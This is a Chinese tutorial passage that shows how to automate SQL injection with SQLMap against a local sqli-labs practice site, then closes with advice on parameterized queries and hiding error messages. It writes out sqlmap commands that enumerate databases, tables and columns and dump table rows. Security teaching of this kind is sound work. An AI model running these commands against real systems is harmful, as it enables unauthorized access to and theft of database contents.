文章目录
- 简介
- 获取当前数据库和用户信息
- 获取MySQL中的所有数据库名称
- 查询wucai数据库中的所有数据表
- 查看heros数据表中的所有字段
- 查询heros表中的英雄信息
- 总结
- 参考文献
简介
从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema
表就可以将数据库的信息全部暴露出来。
接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。
获取当前数据库和用户信息
执行以下命令:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user
--current-db
表示获取当前数据库名称;
--current-user
表示获取当前用户的信息
然后你可以看到SQLmap帮我们获取了相应的结果:
获取MySQL中的所有数据库名称
执行:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs
这里我们使用--threads
来指定SQLmap的最大并发数,通常不要超过10。
于是它帮我们获取了当前MySQL中的8个数据库名称:
查询wucai数据库中的所有数据表
执行:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables
-D
表示待查询的数据库的库名;
--tables
表示显示出所有数据表名称;
查看heros数据表中的所有字段
执行:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns
-T
表示指定的数据表名称;
--columns
表示对所有字段名称进行查询;
查询heros表中的英雄信息
执行:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump
-C
后面表示需要查询的字段名;
--dump
表示展示具体数据。
至此,整个数据库对我们来说,就是不设防的状态了。
总结
总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。
同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。
此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。
当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。
参考文献
- 37丨SQL注入:你的SQL是如何被注入的?